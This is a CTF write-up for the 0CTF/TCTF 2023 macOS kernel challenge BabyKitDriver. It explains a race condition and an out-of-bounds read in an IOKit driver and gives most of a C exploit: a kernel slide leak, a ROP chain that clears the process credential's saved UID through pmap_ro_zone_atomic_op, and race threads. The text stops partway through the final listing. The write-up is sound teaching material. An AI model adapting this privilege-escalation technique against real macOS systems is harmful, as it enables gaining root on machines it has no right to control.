Contents

0CTF/TCTF 2023

https://i.imgur.com/3fSpAEk.png
0CTF/TCTF 2023. We secured the first place

I played with the Blue Water team in the 0CTF/TCTF 2023. We managed to secure the first place. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork during it!

Below is the writeup for the kernel pwn challenge called BabyKitDriver, which is a macOS Local Privilege Escalation challenge.

Pwn

BabyKitDriver

Description

qemu+macOS ventura 13.6.1

upload your exploit binary and the server will run it for you, you can get the output of your exploit.

the flag is at /flag

Just pwn my first IOKit Driver!

nc baby-kit-driver.ctf.0ops.sjtu.cn 20001

Initial Analysis

In this challenge, we were given a kext folder which is a driver of macOS kernel. Based on the challenge description, seems like the given driver is an IOKit Driver. Our goal is to pwn the driver, so that we can do local privilege escalation in macOS through the vulnerable driver.

There aren’t too many resources in the internet about it, but we found a good writeup which mentioned a book that can be read to understand the basic of how to communicate with IOKit driver. The book name is “OS X and iOS Kernel Programming”, which is very recommended to be read to help understand this challenge (Especially the chapter 5).

Let’s start by disassembling the given driver. We observed that there are two main class exists on there, which is BabyKitDriver and BabyKitDriverUserClient. The book already mentioned that this is the typical of how IOKit driver looks like.

Checking through the BabyKitDriver class, seems like there aren’t any interesting things, so we can shift our focus towards BabyKitDriverUserClient class, which is the one that we can interact with.

Let’s start by checking the BabyKitDriverUserClient::externalMethod first, which will list the available methods that user can call from userland.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall BabyKitDriverUserClient::externalMethod(
        OSObject *this,
        uint32_t selector,
        IOExternalMethodArguments *args,
        IOExternalMethodDispatch *dispatch,
        OSObject *target,
        void *reference)
{
  IOLog("BabyKitDriverUserClient::externalMethod\n");
  if ( selector < 2 )
    return ((unsigned int (__fastcall *)(BabyKitDriverUserClient *, uint32_t, IOExternalMethodArguments *, IOExternalMethodDispatch *, OSObject *, void *))`vtable for'IOUserClient.externalMethod)(
             (BabyKitDriverUserClient *)this,
             selector,
             args,
             (IOExternalMethodDispatch *)BabyKitDriverUserClient::sMethods + selector,
             this,
             0LL);
  else
    return 0xE00002C7;
}

Taking a glance, seems like there are only two functions that we can interact with. Checking through the sMethods, which basically a list of IOExternalMethodDispatch, we can see that there are two functions that we can interact:

  • BabyKitDriverUserClient::baby_read
    • Checking through its attribute, we can call this function by passing 2 scalar inputs with no output.
  • BabyKitDriverUserClient::baby_leaveMessage
    • Checking through its attribute, we can call this function by passing 3 scalar inputs with no output.

Let’s start by checking the baby_leaveMessage code first.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall BabyKitDriverUserClient::baby_leaveMessage(
        OSObject *target,
        void *reference,
        IOExternalMethodArguments *args)
{
  signed __int64 v4; // [rsp+0h] [rbp-80h]
  unsigned int v5; // [rsp+Ch] [rbp-74h]
  uint64_t v6; // [rsp+10h] [rbp-70h]
  __int64 v7; // [rsp+18h] [rbp-68h]

  v7 = ((__int64 (__fastcall *)(OSObject *))target->__vftable[5]._RESERVEDOSObject14)(target);
  v6 = *args->scalarInput;
  IOLog("BabyKitDriverUserClient::baby_leaveMessage\n");
  if ( !*(_QWORD *)(v7 + 0x90) )
  {
    *(_QWORD *)(v7 + 0x90) = IOMalloc(0x300uLL);
    if ( v6 )
      *(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL) = output2;
    else
      **(_QWORD **)(v7 + 0x90) = output1;
  }
  if ( v6 )
  {
    *(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL) = output2;
    v4 = *((_QWORD *)args->scalarInput + 2);
    if ( v4 > 0x200LL )
      v4 = 0x200LL;
    **(_QWORD **)(v7 + 0x90) = v4;
    v5 = copyin(*((_QWORD *)args->scalarInput + 1), (void *)(*(_QWORD *)(v7 + 0x90) + 0x10LL), v4);// 2nd arg
  }
  else
  {
    **(_QWORD **)(v7 + 0x90) = output1;
    v5 = copyin(*((_QWORD *)args->scalarInput + 1), (void *)(*(_QWORD *)(v7 + 0x90) + 8LL), 0x100uLL);// 2nd arg
  }
  *(_QWORD *)(v7 + 0x98) = v6;
  return v5;
}

__int64 __fastcall output1(char *a1, char *a2)
{
  return __memcpy_chk(a1, a2, 0x100LL, -1LL);
}

__int64 __fastcall output2(char *a1, char *a2, __int64 a3)
{
  return __memcpy_chk(a1, a2, a3, -1LL);
}

Looking through the above code, this function will try to allocate a heap chunk during the first time it was called, and store it into v7 +0x90. Based on our first argument, it will store a function pointer to chunk+0x0 or chunk+0x8, depends whether our first argument is 0 or not. This function will also do copyin, which will copy the contents of userland address that we passed in second argument. Regarding the size, if our first argument is not zero, we can specify the data size (as long as it is not larger than 0x200), else, the size is fixed at 0x100. It will also stored our first argument as well at v7+0x98.

Observed that there aren’t any locks implemented in this driver. There is a race condition that can be triggered here. Observed that if we can race between baby_leaveMessage(0,,) and baby_leaveMessage(1,,), there can be an inconsistent state where:

  • baby_leaveMessage(1,,) caused the stored *(_QWORD *)(v7 + 0x98) to be 1.
  • Yet, baby_leaveMessage(0,,) overwrite the function pointer in *(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL), because for 0 case, the write start from chunk+0x8.

Now, let’s check the baby_read function so that we can know what can we do with the race.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall BabyKitDriverUserClient::baby_read(
        OSObject *target,
        void *reference,
        IOExternalMethodArguments *args)
{
  __int64 v4; // [rsp+18h] [rbp-398h]
  __int64 v6; // [rsp+28h] [rbp-388h]
  __int64 v7; // [rsp+30h] [rbp-380h]
  char v10[512]; // [rsp+A0h] [rbp-310h] BYREF
  char __b[264]; // [rsp+2A0h] [rbp-110h] BYREF

  v7 = ((__int64 (__fastcall *)(OSObject *))target->__vftable[5]._RESERVEDOSObject14)(target);
  v6 = *(_QWORD *)(v7 + 0x98);
  IOLog("BabyKitDriverUserClient::baby_read\n");
  IOLog("version:%lld\n", v6);
  if ( *(_QWORD *)(v7 + 0x90) )
  {
    if ( v6 )
    {
      v4 = *((_QWORD *)args->scalarInput + 1);
      if ( v4 > **(_QWORD **)(v7 + 0x90) )
        v4 = **(_QWORD **)(v7 + 0x90);
      memset(v10, 0, sizeof(v10));
      (*(void (__fastcall **)(char *, __int64, _QWORD))(*(_QWORD *)(v7 + 0x90) + 8LL))(
        v10,
        *(_QWORD *)(v7 + 0x90) + 0x10LL,
        **(_QWORD **)(v7 + 0x90));
      return (unsigned int)copyout(v10, *args->scalarInput, ((_WORD)v4 - 1) & 0xFFF);// 1st arg
    }
    else
    {
      memset(__b, 0, 0x100uLL);
      (**(void (__fastcall ***)(char *, __int64))(v7 + 0x90))(__b, *(_QWORD *)(v7 + 0x90) + 8LL);
      return (unsigned int)copyout(__b, *args->scalarInput, 0x100uLL);
    }
  }
  else
  {
    return 0;
  }
}

This function will check, whether the driver already allocated a heap chunk or not. If it is not null, it will copy the chunks contents to the userland address that we passed as the first argument. Depends on our previous input in baby_leaveMessage, if the v7+0x98 (which is our first argument input in baby_leaveMessage) is not zero, we can specify our own size, else, it will be fixed at 0x100.

Back to the race condition that we can triggered, if let say we caused inconsistent state where v6 is not zero, but baby_leaveMessage(0,,) overwrite the chunk+0x8, we can basically have RIP control, because this LOC,

1
2
3
4
      (*(void (__fastcall **)(char *, __int64, _QWORD))(*(_QWORD *)(v7 + 0x90) + 8LL))(
        v10,
        *(_QWORD *)(v7 + 0x90) + 0x10LL,
        **(_QWORD **)(v7 + 0x90));

will allow us to control the function that is called in here.

Another thing is we can see that there is one bug in this function. If v6 is not zero and we specify 0 as our size, the copyout will copy (0 - 1) & 0xFFF size to our userland address. This means we have OOB Read, because our chunk size is only 0x300. We might get some good leaks from it.

Now that we know the bug, let’s start to craft our solution.

Solution

Before crafting our solution, we need to setup debug environment first because this is a macOS kernel pwn challenge.

Setup Debug Environment

We use OSX-KVM as our macOS VM. Below is the step-by-step that we need to do so that we can successfully run the OSX-KVM in our local:

  • Do everything that they mentioned in Installation Preparaion.
    • During running the fetch-macOS-v2.py, we choose the Ventura option. However, the Ventura version that is fetched here is not the same version that is used in this challenge. We will need to do extra step later.
    • For the virtual HDD image size, 64G is enough.
  • Now, we need to follow the run_offline instructions, because we want to specifically install the 13.6.1 version.
    • Make sure that you download the 13.6.1 installer.
    • Make sure that during formatting the virtual HDD via the GUI Disk Utility:
      • Named it as macOS.
      • Use APFS filesystem.
        • The documentation mentioned that it isn’t recommended to use APFS, but the VM won’t work if we didn’t use APFS.
        • This is a very important step.

When you successfully installed the VM, some extra steps that we did to make our debugging smoother:

  • We enabled the remote login, so that we can interact via SSH and send/receive files via SCP.
    • After enabling the remote login, we can simply use port 2222 to access the VM from the host.
  • We copied the kernel image used in this OS, which can be found in the /System/Library/Kernels/kernel.
  • Type gcc in terminal. You will be prompted to install some tools, and just press yes to it, so that we can compile our exploit in this VM.
  • Download the kext challenge, and install it with sudo kextload BabyKitDriver.kext.
    • We need to do this everytime we crashed.
    • During the first time we do this, we will need to go to System Preferences to allow it to be installed (which will reboot the VM as well).
https://i.imgur.com/MamOEsi.png
VM is ready

Now that we have running VM with driver of the challenge installed, and we can start crafting our exploit now.

Getting Leak

Let’s start by setting up some helpers to interact with the IOKit driver. Below is the helper that we made, mostly copying from this writeup and using ChatGPT :D.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sched.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#define kBabyRead 	    0
#define kLeaveMessage 	1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL

uint64_t kbase, slide;
io_connect_t connection;
char ropChain[0x200];
int loop_end = 100000;

// TODO: define gadgets and addresses that we need for ROP Chain

void print_data(char *buf, size_t len) {
  puts("-----");
  for (int i = 0; i < len; i += 8) {
    char* fmt_str;
    if ((i / 8) % 2 == 0) {
      fmt_str = "0x%04x: 0x%016lx";
      printf(fmt_str, i, *(unsigned long*)&buf[i]);
    } else {
      fmt_str = " 0x%016lx\n";
      printf(fmt_str, *(unsigned long*)&buf[i]);
    }
  }
  puts("-----");
}

uint64_t GetKextAddr() {
	FILE *fp;
	char line[4096];

	fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");
	if(fp == NULL) {
		printf("Failed to get KEXT address!\n");
		exit(-1);
	}
	fgets(line, sizeof(line)-1, fp);
	uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
	fclose(fp);
	return addr;
}

void baby_read(void *buf, unsigned long size) {
  unsigned long args[2] = { (unsigned long)buf, size };
  IOConnectCallScalarMethod(connection,kBabyRead,(const uint64_t*)args,2,0,0);
}

void leave_message(unsigned long msg_type, void *buf, unsigned long size) {
  unsigned long args[3] = { msg_type, (unsigned long)buf, size };
  IOConnectCallScalarMethod(connection,kLeaveMessage,(const uint64_t*)args,3,0,0);
}

void babyKitConnect(io_connect_t *connection) {
	kern_return_t   kr;
	io_service_t    serviceObject;
	io_iterator_t   iterator;
	CFDictionaryRef classToMatch;

	classToMatch = IOServiceMatching(kIOKitClassName);
	if (classToMatch == NULL) {
		printf("IOServiceMatching returned a NULL dictionary\n");
		exit(-1);
	}

	serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
	if (!MACH_PORT_VALID(serviceObject)) {
		printf("IOServiceGetMatchingService failed\n");
		exit(-1);
	}

	kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
	IOObjectRelease(serviceObject);
	if (kr != KERN_SUCCESS) {
		printf("IOServiceOpen returned %d\n", kr);
		exit(-1);
	}
}

Now that we have defined our helper, let’s start by checking what OOB data that we can get from the baby_read bug.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int main() {
  /*
    Get leak with the first bug (setting size to 0 will trigger OOB read)
  */
  char buf[0x1000];
  memset(buf, 0x41, sizeof(buf));
  leave_message(1, buf, 0x200);
  memset(buf, 0x0, sizeof(buf));
  baby_read(buf, 0);
  print_data(buf, sizeof(buf));
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Output:
...
0x02c0: 0x0000000000000000 0x0000000000000000
0x02d0: 0x0000000000000000 0x0000000000000000
0x02e0: 0x0000003000000008 0xffffff8b6ec53038
0x02f0: 0x0000000000000000 0xffffff902edbec00
0x0300: 0x0000000000000000 0xb0b60e9f717800b0
0x0310: 0xffffffeb910f7a50 0xffffff7f9b3a5808
0x0320: 0xffffff902edbec00 0x0000000000000000
0x0330: 0xffffff902edbec00 0xffffff7f9b3a6ac0
0x0340: 0xffffffeb910f7a70 0x000000002edbec00
0x0350: 0xffffff902edbec00 0xffffff902edbecc0
0x0360: 0xffffffeb910f7bb0 0xffffff8004d52d2e
0x0370: 0xffffff800465aab4 0x0000000000000d0b
0x0380: 0x0000000000000002 0x0000000000000000
...

From the output, we can see that we can get some leaks of the kernel addresses. We decided to use the data fetched from the 0x318 because this seems consistent enough to be used as a leaked address. Based on the GDB observation, this address has static offset from the BabyKitDriver address. Below is how we calculated the kernel address based on the leak.

1
2
3
4
5
6
7
8
9
...
  uint64_t leaked = *(unsigned long*)&buf[0x318];
  uint64_t kext_base = leaked - 0x1808;
  slide = kext_base - GetKextAddr() + 0xdc000;
  kbase = KERNEL_BASE_NO_SLID + slide;
  printf("[*] Kext Base       : 0x%llx\n", kext_base);
  printf("[*] Kernel Text Base: 0x%llx\n", kbase);
  printf("[*] Kernel Slide    : 0x%llx\n", slide);
...

GetKextAddr() is our helper that we defined before, which will return the default address of the BabyKitDriver. With this OOB bug, we now know the base address of the kernel. Now, it’s time to move to the next step, which is crafting our ROP Chain.

Crafting ROP Chain

Notes that in this step, we only craft and prepare our ROP Chain. We will use this later when we able to trigger the race.

Now that we have a leak, we need to think how should we craft our ROP Chain. Based on reading some writeups, usually the target in macOS local privilege escalation is we want to overwrite the cred struct.

First, let’s recap what can we do if we trigger the race. We will make a call like below if we trigger the race:

1
2
3
4
      (*(void (__fastcall **)(char *, __int64, _QWORD))(*(_QWORD *)(v7 + 0x90) + 8LL))(
        v10,
        *(_QWORD *)(v7 + 0x90) + 0x10LL,
        **(_QWORD **)(v7 + 0x90));

We can overwrite the function with anything that we want, and upon observing in gdb:

  • rsi points to chunk+0x10
  • rcx points to chunk

By using this information, we need to put a good gadget in the chunk+0x8 via race, so that we can perform ROP. One of the idea is we need to somehow pivot the stack to the chunk, because we can store our ROP Chain easily (with size limit up to 0x200 bytes).

Looking through the available gadgets on the kernel, we found some good gadgets, which are:

  • push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
  • pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

Now, if we overwrite the function pointer to the first gadget:

  • push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66] will push chunk address to top of our stack.
  • rsi points to chunk+0x10, and we can control the content of [rsi+0x66]. If we set rsi+0x66, which is chunk+0x76 to the pop rsp gadget, we will:
    • Pivot the stack to chunk, because the popped value to rsp is the rcx that we just pushed, which is chunk.
    • Pop 3 times, and our ROP chain will continue at chunk+0x18.

With this, we can setup our ROP first with baby_leaveMessage, so that the chunk will contain our ROP Chain.

Now, what should we do with the ROP Chain? There is already an old writeup that explain how to do it, which said that:

  • There is current_proc function that can be called to fetch the current proc
  • There is proc_ucred function, which will return the ucred of the current process if we pass the proc as its first argument.
  • After getting ucred, we basically just need to overwrite the svuid stored inside of it.
  • Then, we need to call thread_exception_return to get back to userland.

However, there is a problem that we found later when we execute the ROP Chain following the above writeup. In this kernel version, the ucred resides in read-only area, which means if we try to overwrite the svuid value directly, we will crash. One of my teammate (sampriti) found out that the credential is allocated with a special read-only allocator, which is why it is in the ro area. Turns out, even though it resides in a ro area, we can still overwrite it with their allocator API. There is a function called pmap_ro_zone_atomic_op which can be used to nullify the cred->cr_svuid by doing a call:

1
pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0)

So, below is the ROP Chain that we craft to do it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
...
// Gadgets
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide  // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide  // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
...
  /*
    Build our ROP Chain
  */
  uint64_t* chain;
  
  chain = (uint64_t*)&ropChain[0x0];

  // Start at chunk+0x8 in driver. When the race is triggered,
  // chunk+0x8 will be called, which will pivot the stack to this
  // chunk and do ROP Chain.
  *chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
  *chain++ = 0x0; // chunk+0x10 won't be used

  // Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
  // , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
  //
  // We will try to perform
  // pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
  // , which will update the cred->cr_svuid
  *chain++ = current_proc;
  *chain++ = pop_rcx;
  *chain++ = proc_ucred;
  *chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
  *chain++ = 0x4141414141414141;

  // We will continue the ROP Chain at 0x80 just for convenience
  *chain++ = ret;
  *chain++ = ret;
  *chain++ = ret;
  *chain++ = ret;
  *chain++ = ret;

  // Need to do this because:
  // - rsi points to chunk+0x10
  // - there will be jmp qword ptr [rsi+0x66], which mean we need to put
  //   gadget in chunk+0x76 
  // So what we do here is we reserve 0x10 bytes starting from chunk+0x70
  *chain++ = pop_r14_r15;
  *chain++ = 0x4141414141414141;
  *chain++ = 0x4141414141414141;
  // Overwrite chunk+0x76 to pivot stack gadget
  uint64_t* chunk_0x76 = (uint64_t*)&ropChain[0x76 - 8];
  *chunk_0x76 = pop_rsp_r13_r14_r15;

  // Continue ROPChain
  // // Debugging purposes
  // *chain++ = pop_rcx;
  // *chain++ = addr_save_loc;
  // *chain++ = mov_qword_rcx_rax_pop_rbp;
  // *chain++ = 0x4141414141414141;
  
  // rax still contains the ucred (returned from proc_ucred)
  // Set rsi to ucred
  *chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
  *chain++ = 0x4141414141414141;

  // Set rdi
  *chain++ = pop_rdi;
  *chain++ = 7;   // ZONE_ID_KAUTH_CRED

  // Set rdx
  *chain++ = pop_rdx;
  *chain++ = 0x20;

  // Set rcx
  *chain++ = pop_rcx;
  *chain++ = 0x34;    // ZRO_ATOMIC_AND_32

  // Set r8
  *chain++ = pop_r8_eax_spoil;
  *chain++ = 0;
  
  // Call pmap_ro_zone_atomic_op
  *chain++ = pmap_ro_zone_atomic_op;

  // Return to userland
  *chain++ = thread_exception_return;
...

This is the ROP Chain to nullify the svuid, but this isn’t enough. We will visit this again later during the race part.

Trigger Race

So, we need to trigger the race. How to do it, we just need to spawn two threads, where the first one is calling leave_message(0,,), and the other one call leave_message(1,,) and baby_read. Below is the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void* race() {
  for (int i = 0; i < loop_end; i++) {
    leave_message(0, ropChain, 0x100);
  }
  return NULL;
}

int main() {
  ...
  /*
    Trigger Race Condition:
    - Create a new thread which will call leave_message(0, ropChain, 0x100);
    - In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
    - Race is success if:
      - chunk+0x98 is set to 1
      - yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
  */
  pthread_t th;
  pthread_create(&th, NULL, race, NULL);

  char test[0x100];
  memset(test, 0, sizeof(test));
  for (int i = 0; i < loop_end; i++) {
    leave_message(1, &ropChain[0x8], 0x200);
    baby_read(test, 0x100);
  }  
  ...
}

To recap, here is our current code so far:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sched.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#define kBabyRead 	    0
#define kLeaveMessage 	1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL

uint64_t kbase, slide;
io_connect_t connection;
char ropChain[0x200];
int loop_end = 100000;

// Gadgets
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide  // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide  // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret

// Existing kernel functions
#define current_thread slide+0xFFFFFF80004D1ED0
#define current_proc slide+0xFFFFFF8000989860
#define proc_ucred slide+0xFFFFFF80008556B0
#define pmap_ro_zone_atomic_op slide+0xFFFFFF80004B0410
#define thread_exception_return slide+0xFFFFFF8000334DCA

// Debugging purposes
#define debug_gadget 0xffffff800033620a+slide
#define addr_save_loc 0xFFFFFF8000C18000+slide
#define eb_fe 0xFFFFFF800037E726+slide

// Helper method during debugging
void print_data(char *buf, size_t len) {
  puts("-----");
  for (int i = 0; i < len; i += 8) {
    char* fmt_str;
    if ((i / 8) % 2 == 0) {
      fmt_str = "0x%04x: 0x%016lx";
      printf(fmt_str, i, *(unsigned long*)&buf[i]);
    } else {
      fmt_str = " 0x%016lx\n";
      printf(fmt_str, *(unsigned long*)&buf[i]);
    }
  }
  puts("-----");
}

uint64_t GetKextAddr() {
	FILE *fp;
	char line[4096];

	fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");
	if(fp == NULL) {
		printf("Failed to get KEXT address!\n");
		exit(-1);
	}
	fgets(line, sizeof(line)-1, fp);
	uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
	fclose(fp);
	return addr;
}

void baby_read(void *buf, unsigned long size) {
  unsigned long args[2] = { (unsigned long)buf, size };
  IOConnectCallScalarMethod(connection,kBabyRead,(const uint64_t*)args,2,0,0);
}

void leave_message(unsigned long msg_type, void *buf, unsigned long size) {
  unsigned long args[3] = { msg_type, (unsigned long)buf, size };
  IOConnectCallScalarMethod(connection,kLeaveMessage,(const uint64_t*)args,3,0,0);
}

void babyKitConnect(io_connect_t *connection) {
	kern_return_t   kr;
	io_service_t    serviceObject;
	io_iterator_t   iterator;
	CFDictionaryRef classToMatch;

	classToMatch = IOServiceMatching(kIOKitClassName);
	if (classToMatch == NULL) {
		printf("IOServiceMatching returned a NULL dictionary\n");
		exit(-1);
	}

	serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
	if (!MACH_PORT_VALID(serviceObject)) {
		printf("IOServiceGetMatchingService failed\n");
		exit(-1);
	}

	kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
	IOObjectRelease(serviceObject);
	if (kr != KERN_SUCCESS) {
		printf("IOServiceOpen returned %d\n", kr);
		exit(-1);
	}
}

void* race() {
  for (int i = 0; i < loop_end; i++) {
    leave_message(0, ropChain, 0x100);
  }
  return NULL;
}

int main() {
  /*
    Setup connection
  */
  babyKitConnect(&connection);

  /*
    Get leak with the first bug (setting size to 0 will trigger OOB read)
  */
  char buf[0x1000];
  memset(buf, 0x41, sizeof(buf));
  leave_message(1, buf, 0x200);
  memset(buf, 0x0, sizeof(buf));
  baby_read(buf, 0);
  uint64_t leaked = *(unsigned long*)&buf[0x318];
  uint64_t kext_base = leaked - 0x1808;
  slide = kext_base - GetKextAddr() + 0xdc000;
  kbase = KERNEL_BASE_NO_SLID + slide;
  printf("[*] Kext Base       : 0x%llx\n", kext_base);
  printf("[*] Kernel Text Base: 0x%llx\n", kbase);
  printf("[*] Kernel Slide    : 0x%llx\n", slide);
  // getchar();

  /*
    Build our ROP Chain
  */
  uint64_t* chain;
  
  chain = (uint64_t*)&ropChain[0x0];

  // Start at chunk+0x8 in driver. When the race is triggered,
  // chunk+0x8 will be called, which will pivot the stack to this
  // chunk and do ROP Chain.
  *chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
  *chain++ = 0x0; // chunk+0x10 won't be used

  // Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
  // , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
  //
  // We will try to perform
  // pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
  // , which will update the cred->cr_svuid
  *chain++ = current_proc;
  *chain++ = pop_rcx;
  *chain++ = proc_ucred;
  *chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
  *chain++ = 0x4141414141414141;

  // We will continue the ROP Chain at 0x80 just for convenience
  *chain++ = ret;
  *chain++ = ret;
  *chain++ = ret;
  *chain++ = ret;
  *chain++ = ret;

  // Need to do this because:
  // - rsi points to chunk+0x10
  // - there will be jmp qword ptr [rsi+0x66], which mean we need to put
  //   gadget in chunk+0x76 
  // So what we do here is we reserve 0x10 bytes starting from chunk+0x70
  *chain++ = pop_r14_r15;
  *chain++ = 0x4141414141414141;
  *chain++ = 0x4141414141414141;
  // Overwrite chunk+0x76 to pivot stack gadget
  uint64_t* chunk_0x76 = (uint64_t*)&ropChain[0x76 - 8];
  *chunk_0x76 = pop_rsp_r13_r14_r15;

  // Continue ROPChain
  // // Debugging purposes
  // *chain++ = pop_rcx;
  // *chain++ = addr_save_loc;
